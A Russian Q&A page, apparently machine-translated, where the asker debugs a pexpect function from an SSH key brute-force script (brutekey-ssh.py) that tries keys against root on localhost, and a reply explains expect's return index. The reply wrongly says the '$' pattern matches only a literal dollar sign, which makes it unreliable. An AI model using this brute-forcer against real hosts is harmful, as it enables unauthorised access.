вывод pexpect на python - PullRequest
       9

вывод pexpect на python

0 голосов
/ 26 сентября 2018
 def connect(user,host,keyfile,release):
    global Stop
    global Fails
    try:
            perm_denied = 'Permission denied'
            ssh_newkey = 'Are you sure you want to continue'
            conn_closed = 'Connection closed by remote host'
            opt = ' -o PasswordAuthentication=no'
            connStr= 'ssh ' + user + '@' + host + ' -i ' +keyfile + opt
            child = pexpect.spawn(connStr)
           ret=child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#'])
            print(child.before)
            if ret== 2:
                    print('[[-] Adding Host to !/.ssh/known_hosts')
                    child.sendline('yes')
            elif ret ==3:
                    print('[-] Connection Closed by Remote Host')
                    Fails += 1
            elif ret > 3:
                    print('[+] Success.' + str(keyfile)+ ' ' + str(ret))
                    Stop = True
    finally:
            if release:
                    connection_lock.release()**

Пожалуйста, проверьте код Python, который у меня есть выше.

при выполнении:

python3 brutekey-ssh.py -H 127.0.0.1 -u root -d dsa / 1024/

[-] Testing keyfile dsa/1024/a31b082ec6434d65c2adf76862b9aca7-30343
[-] Testing keyfile dsa/1024/fb80119b7615bbeb96cb7d2f55b7533d-10375
b''
[+] Success.dsa/1024/1f09490e311786ec22ff32715ca106e9-1279 4
[*] Exiting:Key Found
b''
[+] Success.dsa/1024/b23696eee5b31ed916002d3ec2ddb5f6-18108 4
b''
[+] Success.dsa/1024/a31b082ec6434d65c2adf76862b9aca7-30343 4

У меня следующие вопросы:

  1. Даже если получено разрешение, оно по-прежнему соответствует ret > 3, почему?

  2. Как проверить точный вывод child.expect

  3. Нужно ли использовать .*\$ вместо $?$ соответствует только точному $ на выходе?

1 Ответ

0 голосов
/ 26 сентября 2018

1: Даже если разрешение не получено, оно по-прежнему соответствует ret> 3, почему?
ans: Возможно, потому что в выводе perm_denied содержался один из символов bash ('#',' $ '), напечатайте значение child.before или выполните шаги вручную, чтобы убедиться, что происходит перед автоматизацией.Он должен возвращать 0 в случае, если он не совпадает с чем-либо и вызывает тайм-аут.И он возвращает 0, а не вызывает исключение, потому что вы добавили pexpect.TIMEOUT в список.

2: Как проверить точный вывод child.expect?
ans: child.expect возвращает индекс (int) элемента в списке, который вы ему передали.Таким образом, в вашем случае вы передали [pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#'], .expect вернет индекс того, что было сопоставлено сначала слева направо с помощью регулярного выражения.Точное значение в вашей переменной ret.

3: мне нужно использовать. * \ $ Вместо $?'$' соответствует только точному значению $ в выводе?
ans: Да, этого достаточно, чтобы соответствовать приглашению bash.Единственный случай, когда они могут сломаться, это когда кто-то из вашего ребенка печатает символ # из какой-либо функции.

pexpect имеет хорошую документацию , прочтите примеры здесь и это должнобудь изобильным.

...